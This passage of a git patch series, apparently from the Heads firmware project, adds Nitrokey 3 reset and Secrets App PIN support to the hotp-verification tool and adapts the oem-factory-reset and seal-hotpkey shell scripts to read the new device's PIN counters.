icc_compose(dev->ccid_buffer_out, sizeof dev->ccid_buffer_out, -+ 0x6F, icc_actual_length, -+ 0, 0, 0, buf); -+ // send -+ IccResult iccResult; -+ r = ccid_process_single(dev->mp_devhandle_ccid, dev->ccid_buffer_in, sizeof dev->ccid_buffer_in, -+ dev->ccid_buffer_out, icc_actual_length, &iccResult); -+ if (r != 0) { -+ return r; -+ } -+ // check status code -+ if (iccResult.data_status_code != 0x9000) { -+ return 1; -+ } -+ -+ return RET_NO_ERROR; -+} -+ - int set_pin_ccid(struct Device *dev, const char *admin_PIN) { - TLV tlvs[] = { - { -diff --git a/src/operations_ccid.h b/src/operations_ccid.h -index b26b3c7..ec0070c 100644 ---- a/src/operations_ccid.h -+++ b/src/operations_ccid.h -@@ -11,6 +11,7 @@ int authenticate_or_set_ccid(struct Device *dev, const char *admin_PIN); - int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const char *OTP_secret_base32, const uint64_t hotp_counter); - int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify); - int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number); -+int nk3_reset(struct Device *dev); - - - #endif//NITROKEY_HOTP_VERIFICATION_OPERATIONS_CCID_H - -From 8425e8c622138aef9ab207119e14f7cbedd40175 Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= -Date: Mon, 2 Dec 2024 10:29:59 +0100 -Subject: [PATCH 2/3] Add optional new pin when resetting - ---- - src/main.c | 9 +++++---- - src/operations_ccid.c | 6 +++++- - src/operations_ccid.h | 5 ++++- - 3 files changed, 14 insertions(+), 6 deletions(-) - -diff --git a/src/main.c b/src/main.c -index b80b71d..3f4a1cc 100644 ---- a/src/main.c -+++ b/src/main.c -@@ -38,9 +38,10 @@ void print_help(char *app_name) { - "\t%s info\n" - "\t%s version\n" - "\t%s check \n" -- "\t%s regenerate \n" -+ "\t%s reset [ADMIN PIN]\n" -+ "\t%s regenerate\n" - "\t%s set [COUNTER]\n", -- app_name, app_name, app_name, app_name, app_name, app_name); -+ app_name, app_name, app_name, app_name, app_name, app_name, app_name); - } - - -@@ -136,8 +137,8 @@ int parse_cmd_and_run(int argc, char *const *argv) { - break; - case 'r': - if (strncmp(argv[1], "reset", 15) == 0) { -- if (argc != 2) break; -- res = nk3_reset(&dev); -+ if (argc != 2 && argc != 3) break; -+ res = nk3_reset(&dev, argc == 3 ? argv[2]: NULL); - } else if (strncmp(argv[1], "regenerate", 15) == 0) { - if (argc != 3) break; - res = regenerate_AES_key(&dev, argv[2]); -diff --git a/src/operations_ccid.c b/src/operations_ccid.c -index 574155d..07834ce 100644 ---- a/src/operations_ccid.c -+++ b/src/operations_ccid.c -@@ -33,7 +33,7 @@ - - - --int nk3_reset(struct Device *dev) { -+int nk3_reset(struct Device *dev, const char * new_pin) { - libusb_device *usb_dev; - struct libusb_device_descriptor usb_desc; - usb_dev = libusb_get_device(dev->mp_devhandle_ccid); -@@ -70,6 +70,10 @@ int nk3_reset(struct Device *dev) { - return 1; - } - -+ if (new_pin != NULL) { -+ set_pin_ccid(dev, new_pin); -+ } -+ - return RET_NO_ERROR; - } - -diff --git a/src/operations_ccid.h b/src/operations_ccid.h -index ec0070c..61cad72 100644 ---- a/src/operations_ccid.h -+++ b/src/operations_ccid.h -@@ -11,7 +11,10 @@ int authenticate_or_set_ccid(struct Device *dev, const char *admin_PIN); - int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const char *OTP_secret_base32, const uint64_t hotp_counter); - int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify); - int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number); --int nk3_reset(struct Device *dev); -+// new_pin can be `null` -+// -+// If it is, no new pin will be set -+int nk3_reset(struct Device *dev, const char * new_pin); - - - #endif//NITROKEY_HOTP_VERIFICATION_OPERATIONS_CCID_H - -From 596f701985682adf6bfab06c78cbe132cbcb2aae Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= -Date: Tue, 3 Dec 2024 10:48:27 +0100 -Subject: [PATCH 3/3] Fix null pointer bug on non nk3 - ---- - src/operations_ccid.c | 8 +++++++- - 1 file changed, 7 insertions(+), 1 deletion(-) - -diff --git a/src/operations_ccid.c b/src/operations_ccid.c -index 07834ce..538d434 100644 ---- a/src/operations_ccid.c -+++ b/src/operations_ccid.c -@@ -36,6 +36,12 @@ - int nk3_reset(struct Device *dev, const char * new_pin) { - libusb_device *usb_dev; - struct libusb_device_descriptor usb_desc; -+ -+ if (!dev->mp_devhandle_ccid) { -+ // Not an NK3 -+ return RET_NO_ERROR; -+ } -+ - usb_dev = libusb_get_device(dev->mp_devhandle_ccid); - - int r = libusb_get_device_descriptor(usb_dev, &usb_desc); -@@ -46,7 +52,7 @@ int nk3_reset(struct Device *dev, const char * new_pin) { - - - if (usb_desc.idVendor != NITROKEY_USB_VID || usb_desc.idProduct != NITROKEY_3_USB_PID) { -- return 0; -+ return RET_NO_ERROR; - } - - From ebf4d1d22180f1649ad4b2a352629759857701ff Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 6 Dec 2024 09:48:28 -0500 Subject: [PATCH 411/619] oem-factory-reset+seal-hotp nk3 hotp-verification info adaptations - oem-factory-reset: fix strings for nk3 is from https://github.com/Nitrokey/nitrokey-hotp-verification/pull/43 is Secrets app, not Secret App singular, not App capitalized - initrd/bin/seal-hotpkey: adapt to check nk3 Secrets App PIN counter if nk3, keep Card counters for --- initrd/bin/oem-factory-reset | 16 ++-- initrd/bin/seal-hotpkey | 152 +++++++++++++++++------------------ 2 files changed, 83 insertions(+), 85 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index a3f6933f3..613569530 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -143,13 +143,15 @@ mount_boot() { reset_nk3_secret_app() { TRACE_FUNC - # Reset Nitrokey 3 Secret App + # Reset Nitrokey 3 Secrets App if lsusb | grep -q "20a0:42b2"; then echo - echo "Resetting Nitrokey 3 Secret App PIN. Physical presence (touch) will be required" + warn "Resetting Nitrokey 3 Secrets App PIN. Physical presence (touch) will be required" #TODO, change message when https://github.com/Nitrokey/nitrokey-hotp-verification/issues/41 is fixed # Reset Nitrokey 3 secret app with PIN - /bin/hotp_verification reset "${ADMIN_PIN}" + if ! /bin/hotp_verification reset "${ADMIN_PIN}"; then + whiptail_error_die "Failed to reset Nitrokey 3 Secrets App with error code $?, contact Nitrokey support" + fi fi } @@ -552,7 +554,6 @@ gpg_key_factory_reset() { whiptail_error_die "GPG Key factory reset failed!\n\n$ERROR" fi - # If Nitrokey Storage is inserted, reset AES keys as well if lsusb | grep -q "20a0:4109" && [ -x /bin/hotp_verification ]; then DEBUG "Nitrokey Storage detected, resetting AES keys..." @@ -560,7 +561,7 @@ gpg_key_factory_reset() { DEBUG "Restarting scdaemon to remove possible exclusive lock of dongle" killall -9 scdaemon fi - + # Toggle forced sig (good security practice, forcing PIN request for each signature request) if gpg --card-status | grep "Signature PIN" | grep -q "not forced"; then DEBUG "GPG toggling forcesig on since off..." @@ -575,7 +576,7 @@ gpg_key_factory_reset() { whiptail_error_die "GPG Key forcesig toggle on failed!\n\n$ERROR" fi fi - + # use p256 for key generation if requested if [ "$GPG_ALGO" = "p256" ]; then { @@ -1388,7 +1389,7 @@ fi #if nk3 detected, we add the NK3 Secre App PIN. Detect by product ID if lsusb | grep -q "20a0:42b2"; then - passphrases+="Nitrokey 3 Secret App PIN: ${ADMIN_PIN}\n" + passphrases+="Nitrokey 3 Secrets App PIN: ${ADMIN_PIN}\n" fi #GPG PINs output @@ -1403,7 +1404,6 @@ if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" ]; then passphrases+="GPG key material backup passphrase: ${ADMIN_PIN}\n" fi - # Show configured secrets in whiptail and loop until user confirms qr code was scanned while true; do whiptail --msgbox " diff --git a/initrd/bin/seal-hotpkey b/initrd/bin/seal-hotpkey index 930d78059..266bc48f6 100755 --- a/initrd/bin/seal-hotpkey +++ b/initrd/bin/seal-hotpkey @@ -8,28 +8,26 @@ HOTP_SECRET="/tmp/secret/hotp.key" HOTP_COUNTER="/boot/kexec_hotp_counter" HOTP_KEY="/boot/kexec_hotp_key" -mount_boot() -{ - TRACE_FUNC - # Mount local disk if it is not already mounted - if ! grep -q /boot /proc/mounts; then - if ! mount -o ro /boot; then - whiptail_error --title 'ERROR' \ - --msgbox "Couldn't mount /boot.\n\nCheck the /boot device in configuration settings, or perform an OEM reset." 0 80 - return 1 - fi - fi +mount_boot() { + TRACE_FUNC + # Mount local disk if it is not already mounted + if ! grep -q /boot /proc/mounts; then + if ! mount -o ro /boot; then + whiptail_error --title 'ERROR' \ + --msgbox "Couldn't mount /boot.\n\nCheck the /boot device in configuration settings, or perform an OEM reset." 0 80 + return 1 + fi + fi } TRACE_FUNC -fatal_error() -{ - echo -e "\nERROR: ${1}; press Enter to continue." - read - # get lsusb output for debugging - DEBUG "lsusb output: $(lsusb)" - die "$1" +fatal_error() { + echo -e "\nERROR: ${1}; press Enter to continue." + read + # get lsusb output for debugging + DEBUG "lsusb output: $(lsusb)" + die "$1" } # Use stored HOTP key branding (this might be useful after OEM reset) @@ -41,11 +39,11 @@ fi if [ "$CONFIG_TPM" = "y" ]; then DEBUG "Sealing HOTP secret reuses TOTP sealed secret..." - tpmr unseal 4d47 0,1,2,3,4,7 312 "$HOTP_SECRET" \ - || fatal_error "Unable to unseal HOTP secret" + tpmr unseal 4d47 0,1,2,3,4,7 312 "$HOTP_SECRET" || + fatal_error "Unable to unseal HOTP secret" else # without a TPM, generate a secret based on the SHA-256 of the ROM - secret_from_rom_hash > "$HOTP_SECRET" || die "Reading ROM failed" + secret_from_rom_hash >"$HOTP_SECRET" || die "Reading ROM failed" fi # Store counter in file instead of TPM for now, as it conflicts with Heads @@ -69,20 +67,20 @@ counter_value=1 enable_usb # While making sure the key is inserted, capture the status so we can check how # many PIN attempts remain -if ! hotp_token_info="$(hotp_verification info)" ; then - echo -e "\nInsert your $HOTPKEY_BRANDING and press Enter to configure it" - read - if ! hotp_token_info="$(hotp_verification info)" ; then - # don't leak key on failure - shred -n 10 -z -u "$HOTP_SECRET" 2> /dev/null - fatal_error "Unable to find $HOTPKEY_BRANDING" - fi +if ! hotp_token_info="$(hotp_verification info)"; then + echo -e "\nInsert your $HOTPKEY_BRANDING and press Enter to configure it" + read + if ! hotp_token_info="$(hotp_verification info)"; then + # don't leak key on failure + shred -n 10 -z -u "$HOTP_SECRET" 2>/dev/null + fatal_error "Unable to find $HOTPKEY_BRANDING" + fi fi # Set HOTP USB Security Dongle branding based on VID -if lsusb | grep -q "20a0:" ; then +if lsusb | grep -q "20a0:"; then HOTPKEY_BRANDING="Nitrokey" -elif lsusb | grep -q "316d:" ; then +elif lsusb | grep -q "316d:"; then HOTPKEY_BRANDING="Librem Key" else HOTPKEY_BRANDING="HOTP USB Security Dongle" @@ -99,19 +97,25 @@ gpg_key_create_time="${gpg_key_create_time:-0}" DEBUG "Signature key was created at $(date -d "@$gpg_key_create_time")" now_date="$(date '+%s')" -# Get the number of admin PIN retry attempts remaining -awk_admin_counter_regex='/^\s*Card counters: Admin (\d),.*$/' -awk_get_admin_counter="$awk_admin_counter_regex"' { print gensub('"$awk_admin_counter_regex"', "\\1", "") }' -admin_pin_retries="$(echo "$hotp_token_info" | awk "$awk_get_admin_counter")" +# Get the number of HOTP related PIN retry attempts remaining +# if nk3 detected by lsusb, use different regex to get admin counter +if lsusb | grep -q "20a0:42b2"; then + # Nitrokey 3: Secrets app PIN counter: 8 + admin_pin_retries=$(echo "$hotp_token_info" | grep "Secrets app PIN counter:" | cut -d ':' -f 2 | tr -d ' ') + prompt_message="Secrets app" +else + admin_pin_retries=$(echo "$hotp_token_info" | grep "Card counters: Admin" | cut -d ':' -f 2 | tr -d ' ') + prompt_message="GPG Admin" +fi + admin_pin_retries="${admin_pin_retries:-0}" -DEBUG "Admin PIN retry counter is $admin_pin_retries" -#TODO: as per hotp_verification 1.6: this is 8 for nk3 and wrong. FIX +DEBUG "HOTP related PIN retry counter is $admin_pin_retries" # Try using factory default admin PIN for 1 month following OEM reset to ease # initial setup. But don't do it forever to encourage changing the PIN and # so PIN attempts are not consumed by the default attempt. admin_pin="12345678" -month_secs="$((30*24*60*60))" +month_secs="$((30 * 24 * 60 * 60))" admin_pin_status=1 if [ "$((now_date - gpg_key_create_time))" -gt "$month_secs" ]; then # Remind what the default PIN was in case it still hasn't been changed @@ -122,48 +126,42 @@ if [ "$((now_date - gpg_key_create_time))" -gt "$month_secs" ]; then elif [ "$admin_pin_retries" -lt 3 ]; then echo "Not trying default PIN ($admin_pin), only $admin_pin_retries attempt(s) left" else - hotp_initialize "$admin_pin" $HOTP_SECRET $counter_value "$HOTPKEY_BRANDING" >/dev/null 2>&1 + echo "Trying $prompt_message PIN ($admin_pin) to seal HOTP secret on $HOTPKEY_BRANDING... You may be requested to touch the dongle..." + #TODO: silence the output of hotp_initialize once https://github.com/Nitrokey/nitrokey-hotp-verification/issues/41 is fixed + #hotp_initialize "$admin_pin" $HOTP_SECRET $counter_value "$HOTPKEY_BRANDING" >/dev/null 2>&1 + hotp_initialize "$admin_pin" $HOTP_SECRET $counter_value "$HOTPKEY_BRANDING" admin_pin_status="$?" fi if [ "$admin_pin_status" -ne 0 ]; then - # create custom message for PIN prompt based on nk3 lsusb product id - prompt_message="" - if lsusb | grep -q "20a0:42b2"; then - prompt_message="Secure App" - else - prompt_message="GPG Admin" - fi - - - # prompt user for PIN and retry - echo "" - read -s -p "Enter your $HOTPKEY_BRANDING $prompt_message PIN: " admin_pin - echo -e "\n" - - hotp_initialize "$admin_pin" $HOTP_SECRET $counter_value "$HOTPKEY_BRANDING" - if [ $? -ne 0 ]; then - echo -e "\n" - read -s -p "Error setting HOTP secret, re-enter $prompt_message PIN and try again: " admin_pin - echo -e "\n" - if ! hotp_initialize "$admin_pin" $HOTP_SECRET $counter_value "$HOTPKEY_BRANDING" ; then - # don't leak key on failure - shred -n 10 -z -u "$HOTP_SECRET" 2> /dev/null - if [ "$HOTPKEY_BRANDING" == "Nitrokey" ]; then - fatal_error "Setting HOTP secret failed, to reset $prompt_message PIN, redo Re-Ownership procedure, the Nitrokey App 2 or contact Nitrokey support" - else - fatal_error "Setting HOTP secret failed" - fi - fi - fi -else - # remind user to change admin password - echo -e "\nWARNING: default admin PIN detected: please change this as soon as possible." + # prompt user for PIN and retry + echo "" + read -s -p "Enter your $HOTPKEY_BRANDING $prompt_message PIN: " admin_pin + echo -e "\n" + + hotp_initialize "$admin_pin" $HOTP_SECRET $counter_value "$HOTPKEY_BRANDING" + if [ $? -ne 0 ]; then + echo -e "\n" + read -s -p "Error setting HOTP secret, re-enter $prompt_message PIN and try again: " admin_pin + echo -e "\n" + if ! hotp_initialize "$admin_pin" $HOTP_SECRET $counter_value "$HOTPKEY_BRANDING"; then + # don't leak key on failure + shred -n 10 -z -u "$HOTP_SECRET" 2>/dev/null + if [ "$HOTPKEY_BRANDING" == "Nitrokey" ]; then + fatal_error "Setting HOTP secret failed, to reset $prompt_message PIN, redo Re-Ownership procedure, use the Nitrokey App 2 or contact Nitrokey support" + else + fatal_error "Setting HOTP secret failed" + fi + fi + fi +else + # remind user to change admin password + warn "Factory $prompt_message default PIN detected: please change this PIN as soon as possible through OEM Factory Reset/User Re-Ownership" fi # HOTP key no longer needed -shred -n 10 -z -u "$HOTP_SECRET" 2> /dev/null +shred -n 10 -z -u "$HOTP_SECRET" 2>/dev/null # Make sure our counter is incremented ahead of the next check #increment_tpm_counter $counter > /dev/null \ @@ -173,13 +171,13 @@ shred -n 10 -z -u "$HOTP_SECRET" 2> /dev/null mount -o remount,rw /boot -counter_value=`expr $counter_value + 1` -echo $counter_value > $HOTP_COUNTER \ -|| fatal_error "Unable to create hotp counter file" +counter_value=$(expr $counter_value + 1) +echo $counter_value >$HOTP_COUNTER || + fatal_error "Unable to create hotp counter file" # Store/overwrite HOTP USB Security Dongle branding found out beforehand -echo $HOTPKEY_BRANDING > $HOTP_KEY \ -|| die "Unable to store hotp key file" +echo $HOTPKEY_BRANDING >$HOTP_KEY || + die "Unable to store hotp key file" #sha256sum /tmp/counter-$counter > $HOTP_COUNTER \ #|| die "Unable to create hotp counter file" From 27ab17377d54c6f232bf93d252b6c3b80c7f9031 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 6 Dec 2024 11:36:50 -0500 Subject: [PATCH 412/619] hotp-verification: removed patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346 directory: waiting for https://github.com/Nitrokey/nitrokey-hotp-verification/pull/43 and https://github.com/Nitrokey/nitrokey-hotp-verification/pull/46 to be merged to change modules/hotp-verification commit Signed-off-by: Thierry Laurion --- .../43.patch | 450 ------------------ 1 file changed, 450 deletions(-) delete mode 100644 patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch diff --git a/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch b/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch deleted file mode 100644 index 26ad2bc45..000000000 --- a/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch +++ /dev/null @@ -1,450 +0,0 @@ -From 707c6545a509eeb24a06537e5f835d786c2e657e Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= -Date: Thu, 5 Dec 2024 16:44:30 +0100 -Subject: [PATCH] Add support for nitrokey 3 distinction between the secrets - app and other - -This now adds the secrets app version and the nitrokey 3 firmware version, -and also the gpg pins ---- - src/ccid.c | 71 +++++++++++++++++++++++++- - src/ccid.h | 2 + - src/device.c | 29 +++++------ - src/device.h | 2 +- - src/main.c | 41 +++++++++++---- - src/operations_ccid.c | 113 +++++++++++++++++++++++++++++++++++++----- - src/operations_ccid.h | 2 +- - src/structs.h | 19 +++++++ - 8 files changed, 238 insertions(+), 41 deletions(-) - -diff --git a/src/ccid.c b/src/ccid.c -index 9cf24a0..a2cc919 100644 ---- a/src/ccid.c -+++ b/src/ccid.c -@@ -104,7 +104,7 @@ IccResult parse_icc_result(uint8_t *buf, size_t buf_len) { - // .buffer_len = buf_len - }; - // Make sure the response do not contain overread attempts -- rassert(i.data_len < buf_len - 10); -+ rassert(i.data_len <= buf_len - 10); - return i; - } - -@@ -307,6 +307,75 @@ int send_select_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_siz - return RET_NO_ERROR; - } - -+int send_select_nk3_admin_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult) { -+ unsigned char cmd_select[] = { -+ 0x6f, -+ 0x0E, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0xa4, -+ 0x04, -+ 0x00, -+ 0x09, -+ 0xa0, -+ 0x00, -+ 0x00, -+ 0x08, -+ 0x47, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x01, -+ }; -+ -+ check_ret( -+ ccid_process_single(handle, buf, buf_size, cmd_select, sizeof cmd_select, iccResult), -+ RET_COMM_ERROR); -+ -+ -+ return RET_NO_ERROR; -+} -+ -+int send_select_nk3_pgp_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult) { -+ unsigned char cmd_select[] = { -+ 0x6f, -+ 0x0C, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0x00, -+ 0xA4, -+ 0x04, -+ 0x00, -+ 0x06, -+ 0xD2, -+ 0x76, -+ 0x00, -+ 0x01, -+ 0x24, -+ 0x01, -+ 0x00, -+ }; -+ -+ check_ret( -+ ccid_process_single(handle, buf, buf_size, cmd_select, sizeof cmd_select, iccResult), -+ RET_COMM_ERROR); -+ -+ -+ return RET_NO_ERROR; -+} - - int ccid_init(libusb_device_handle *handle) { - -diff --git a/src/ccid.h b/src/ccid.h -index ed17dc7..3dcf106 100644 ---- a/src/ccid.h -+++ b/src/ccid.h -@@ -70,6 +70,8 @@ uint32_t icc_pack_tlvs_for_sending(uint8_t *buf, size_t buflen, TLV tlvs[], int - libusb_device_handle *get_device(libusb_context *ctx, const struct VidPid pPid[], int devices_count); - int ccid_init(libusb_device_handle *handle); - int send_select_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult); -+int send_select_nk3_admin_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult); -+int send_select_nk3_pgp_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult); - - - enum { -diff --git a/src/device.c b/src/device.c -index 4b9361e..52acece 100644 ---- a/src/device.c -+++ b/src/device.c -@@ -29,6 +29,7 @@ - #include "structs.h" - #include "utils.h" - #include -+#include - #include - #include - #include -@@ -259,23 +260,19 @@ int device_receive_buf(struct Device *dev) { - - #include "operations_ccid.h" - --int device_get_status(struct Device *dev, struct ResponseStatus *out_status) { -- assert(out_status != NULL); -+int device_get_status(struct Device *dev, struct FullResponseStatus *out_response) { -+ assert(out_response != NULL); - assert(dev != NULL); -- memset(out_status, 0, sizeof(struct ResponseStatus)); -+ memset(out_response, 0, sizeof(struct FullResponseStatus)); -+ -+ struct ResponseStatus *out_status = &out_response->response_status; - - if (dev->connection_type == CONNECTION_CCID) { -- int counter = 0; -- uint32_t serial = 0; -- uint16_t version = 0; -- int res = status_ccid(dev->mp_devhandle_ccid, -- &counter, -- &version, -- &serial); -- out_status->retry_admin = counter; -- out_status->retry_user = counter; -- out_status->card_serial_u32 = serial; -- out_status->firmware_version = version; -+ int res = status_ccid(dev->mp_devhandle_ccid, out_response); -+ // out_status->retry_admin = counter; -+ // out_status->retry_user = counter; -+ // out_status->card_serial_u32 = serial; -+ // out_status->firmware_version = version; - return res; - } - -@@ -290,7 +287,7 @@ int device_get_status(struct Device *dev, struct ResponseStatus *out_status) { - - device_send_buf(dev, GET_STATUS); - device_receive_buf(dev); -- *out_status = *(struct ResponseStatus *) dev->packet_response.response_st.payload; -+ out_response->response_status = *(struct ResponseStatus *) dev->packet_response.response_st.payload; - - if (out_status->firmware_version_st.minor == 1) { - for (int i = 0; i < 100; ++i) { -@@ -343,4 +340,4 @@ const char *command_status_to_string(uint8_t status_code) { - void clean_buffers(struct Device *dev) { - memset(dev->ccid_buffer_in, 0, sizeof dev->ccid_buffer_in); - memset(dev->ccid_buffer_out, 0, sizeof dev->ccid_buffer_out); --} -\ No newline at end of file -+} -diff --git a/src/device.h b/src/device.h -index c895546..97feeeb 100644 ---- a/src/device.h -+++ b/src/device.h -@@ -72,7 +72,7 @@ struct Device { - - int device_connect(struct Device *dev); - int device_disconnect(struct Device *dev); --int device_get_status(struct Device *dev, struct ResponseStatus *out_status); -+int device_get_status(struct Device *dev, struct FullResponseStatus *out_status); - int device_send(struct Device *dev, uint8_t *in_data, size_t data_size, uint8_t command_ID); - int device_receive(struct Device *dev, uint8_t *out_data, size_t out_buffer_size); - int device_send_buf(struct Device *dev, uint8_t command_ID); -diff --git a/src/main.c b/src/main.c -index 059069e..9b38552 100644 ---- a/src/main.c -+++ b/src/main.c -@@ -93,25 +93,46 @@ int parse_cmd_and_run(int argc, char *const *argv) { - res = RET_NO_ERROR; - break; - case 'i': {// id | info -- struct ResponseStatus status; -+ struct FullResponseStatus status; -+ memset(&status, 0, sizeof (struct FullResponseStatus)); -+ - res = device_get_status(&dev, &status); - check_ret((res != RET_NO_ERROR) && (res != RET_NO_PIN_ATTEMPTS), res); - if (strnlen(argv[1], 10) == 2 && argv[1][1] == 'd') { - // id command - print ID only -- print_card_serial(&status); -+ print_card_serial(&status.response_status); - } else { - // info command - print status - printf("Connected device status:\n"); - printf("\tCard serial: "); -- print_card_serial(&status); -- printf("\tFirmware: v%d.%d\n", -- status.firmware_version_st.major, -- status.firmware_version_st.minor); -- if (res != RET_NO_PIN_ATTEMPTS) { -- printf("\tCard counters: Admin %d, User %d\n", -- status.retry_admin, status.retry_user); -+ print_card_serial(&status.response_status); -+ if (status.device_type == Nk3) { -+ printf("\tFirmware Nitrokey 3: v%d.%d.%d\n", -+ (status.nk3_extra_info.firmware_version >> 22) & 0b1111111111, -+ (status.nk3_extra_info.firmware_version >> 6) & 0xFFFF, -+ status.nk3_extra_info.firmware_version & 0b111111); -+ printf("\tFirmware Secrets App: v%d.%d\n", -+ status.response_status.firmware_version_st.major, -+ status.response_status.firmware_version_st.minor); -+ if (res != RET_NO_PIN_ATTEMPTS) { -+ printf("\tSecrets app PIN counter: %d\n", -+ status.response_status.retry_user); -+ } else { -+ printf("\tSecrets app PIN counter: PIN is not set - set PIN before the first use\n"); -+ } -+ printf("\tGPG Card counters: Admin %d, User %d\n", -+ status.nk3_extra_info.pgp_admin_pin_retries, -+ status.nk3_extra_info.pgp_user_pin_retries); - } else { -- printf("\tCard counters: PIN is not set - set PIN before the first use\n"); -+ printf("\tFirmware: v%d.%d\n", -+ status.response_status.firmware_version_st.major, -+ status.response_status.firmware_version_st.minor); -+ if (res != RET_NO_PIN_ATTEMPTS) { -+ printf("\tCard counters: Admin %d, User %d\n", -+ status.response_status.retry_admin, status.response_status.retry_user); -+ } else { -+ printf("\tCard counters: PIN is not set - set PIN before the first use\n"); -+ } - } - } - if (res == RET_NO_PIN_ATTEMPTS) { -diff --git a/src/operations_ccid.c b/src/operations_ccid.c -index eb46124..25772e5 100644 ---- a/src/operations_ccid.c -+++ b/src/operations_ccid.c -@@ -273,14 +273,102 @@ int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify) { - return RET_VALIDATION_PASSED; - } - --int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number) { -+int status_ccid(libusb_device_handle *handle, struct FullResponseStatus *full_response) { -+ rassert(full_response != NULL); -+ struct ResponseStatus *response = &full_response->response_status; - rassert(handle != NULL); -- rassert(attempt_counter != NULL); -- rassert(firmware_version != NULL); -- rassert(serial_number != NULL); - uint8_t buf[1024] = {}; - IccResult iccResult = {}; -- int r = send_select_ccid(handle, buf, sizeof buf, &iccResult); -+ bool pin_counter_is_error = false; -+ int r; -+ libusb_device *usb_dev; -+ struct libusb_device_descriptor usb_desc; -+ -+ usb_dev = libusb_get_device(handle); -+ -+ r = libusb_get_device_descriptor(usb_dev, &usb_desc); -+ -+ if (r < 0) { -+ return r; -+ } -+ -+ -+ if (usb_desc.idVendor == NITROKEY_USB_VID || usb_desc.idProduct == NITROKEY_3_USB_PID) { -+ full_response->device_type = Nk3; -+ } else if (usb_desc.idVendor == NITROKEY_USB_VID || usb_desc.idProduct == NITROKEY_PRO_USB_PID) { -+ full_response->device_type = NkPro2; -+ } else if (usb_desc.idVendor == NITROKEY_USB_VID || usb_desc.idProduct == NITROKEY_STORAGE_USB_PID) { -+ full_response->device_type = NkStorage; -+ } else if (usb_desc.idVendor == LIBREM_KEY_USB_VID || usb_desc.idProduct == LIBREM_KEY_USB_PID) { -+ full_response->device_type = LibremKey; -+ } -+ -+ if (full_response->device_type == Nk3) { -+ r = send_select_nk3_admin_ccid(handle, buf, sizeof buf, &iccResult); -+ if (r != RET_NO_ERROR) { -+ return r; -+ } -+ -+ uint8_t data_iso[MAX_CCID_BUFFER_SIZE] = {}; -+ uint32_t iso_actual_length = iso7816_compose( -+ data_iso, sizeof data_iso, -+ 0x61, 0, 0, 0, 4, NULL, 0); -+ -+ // encode ccid wrapper -+ uint32_t icc_actual_length = icc_compose(buf, sizeof buf, -+ 0x6F, iso_actual_length, -+ 0, 0, 0, data_iso); -+ int transferred; -+ r = ccid_send(handle, &transferred, buf, icc_actual_length); -+ if (r != 0) { -+ return r; -+ } -+ -+ r = ccid_receive(handle, &transferred, buf, sizeof buf); -+ if (r != 0) { -+ return r; -+ } -+ -+ IccResult iccResult = parse_icc_result(buf, transferred); -+ rassert(iccResult.data_status_code == 0x9000); -+ rassert(iccResult.data_len == 6); -+ full_response->nk3_extra_info.firmware_version = be32toh(*(uint32_t *) iccResult.data); -+ } -+ -+ if (full_response->device_type == Nk3) { -+ r = send_select_nk3_pgp_ccid(handle, buf, sizeof buf, &iccResult); -+ if (r != RET_NO_ERROR) { -+ return r; -+ } -+ -+ uint8_t data_iso[MAX_CCID_BUFFER_SIZE] = {}; -+ uint32_t iso_actual_length = iso7816_compose( -+ data_iso, sizeof data_iso, -+ 0xCA, 0, 0xC4, 0, 0xFF, NULL, 0); -+ -+ // encode ccid wrapper -+ uint32_t icc_actual_length = icc_compose(buf, sizeof buf, -+ 0x6F, iso_actual_length, -+ 0, 0, 0, data_iso); -+ int transferred; -+ r = ccid_send(handle, &transferred, buf, icc_actual_length); -+ if (r != 0) { -+ return r; -+ } -+ -+ r = ccid_receive(handle, &transferred, buf, sizeof buf); -+ if (r != 0) { -+ return r; -+ } -+ -+ IccResult iccResult = parse_icc_result(buf, transferred); -+ rassert(iccResult.data_status_code == 0x9000); -+ rassert(iccResult.data_len == 9); -+ full_response->nk3_extra_info.pgp_user_pin_retries = iccResult.data[4]; -+ full_response->nk3_extra_info.pgp_admin_pin_retries = iccResult.data[6]; -+ } -+ -+ r = send_select_ccid(handle, buf, sizeof buf, &iccResult); - if (r != RET_NO_ERROR) { - return r; - } -@@ -292,29 +380,30 @@ int status_ccid(libusb_device_handle *handle, int *attempt_counter, 